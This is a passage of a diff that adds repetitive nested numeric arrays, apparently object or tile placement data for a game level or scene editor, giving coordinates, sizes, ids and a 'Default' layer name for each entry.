+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4157,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 875.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4158,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 875.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4159,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 970.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4160,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 970.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4161,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 1064.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4162,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 1064.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4163,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.287841796875,
+ 655.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4164,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.287841796875,
+ 656.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4165,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.287841796875,
+ 656.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4166,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2002.287841796875,
+ 656.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4167,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4168,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4169,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4170,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4171,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4172,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4173,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4174,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4175,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4176,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4177,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4178,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4179,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4180,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4181,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4182,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4183,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.61474609375,
+ 823.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4184,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.61474609375,
+ 824.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4185,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.61474609375,
+ 824.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4186,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.56298828125,
+ 919.1100463867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4187,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.56298828125,
+ 919.1100463867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4188,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.56298828125,
+ 919.1100463867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4189,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.56298828125,
+ 1013.110046386719,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4190,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.56298828125,
+ 1013.110046386719,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4191,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.56298828125,
+ 1013.110046386719,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4192,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2800.248291015625,
+ 992.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4193,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.248291015625,
+ 993.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4194,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2984.248291015625,
+ 993.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4195,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2800.196533203125,
+ 1087.13818359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4196,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.196533203125,
+ 1087.13818359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4197,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2984.196533203125,
+ 1087.13818359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4198,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3075.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4199,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3167.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4200,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3259.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4201,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3351.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4202,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3443.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4203,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3535.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4204,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3627.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4205,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3719.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4206,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811.335205078125,
+ 993.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4207,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3903.335205078125,
+ 994.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4208,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.335205078125,
+ 994.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4209,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811.335205078125,
+ 1088.191284179688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4210,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3903.335205078125,
+ 1088.191284179688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4211,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.335205078125,
+ 1088.191284179688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4212,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 776,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4213,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 777,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4214,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 871,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4215,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 871,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4216,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 965,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4217,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 965,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4218,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 1060,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 1060,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4220,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.12126159667969,
+ 778.7173461914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4227,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1212615966797,
+ 778.7173461914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4228,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7083129882813,
+ 778.9495239257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4229,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7083129882813,
+ 778.9495239257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4230,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402.8583374023438,
+ 968.3065185546875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4231,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 494.8583374023438,
+ 968.3065185546875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4232,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 586.4453735351562,
+ 968.5386962890625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4233,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 678.4453735351562,
+ 968.5386962890625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4234,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 770.4392700195312,
+ 969.0148315429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4235,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 862.4392700195312,
+ 969.0148315429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4236,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 954.0263061523438,
+ 969.2470092773438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4237,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1046.026245117188,
+ 969.2470092773438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4238,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1137.534057617188,
+ 969.2470092773438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4239,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1229.095825195313,
+ 875.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4243,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.095825195313,
+ 875.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4244,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 780.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4245,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 780.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4246,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.287841796875,
+ 560.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4247,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.287841796875,
+ 561.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4248,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.287841796875,
+ 561.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4249,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2002.287841796875,
+ 561.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4250,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.61474609375,
+ 728.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4251,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.61474609375,
+ 729.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4252,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.61474609375,
+ 729.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4253,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2800.248291015625,
+ 897.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4254,
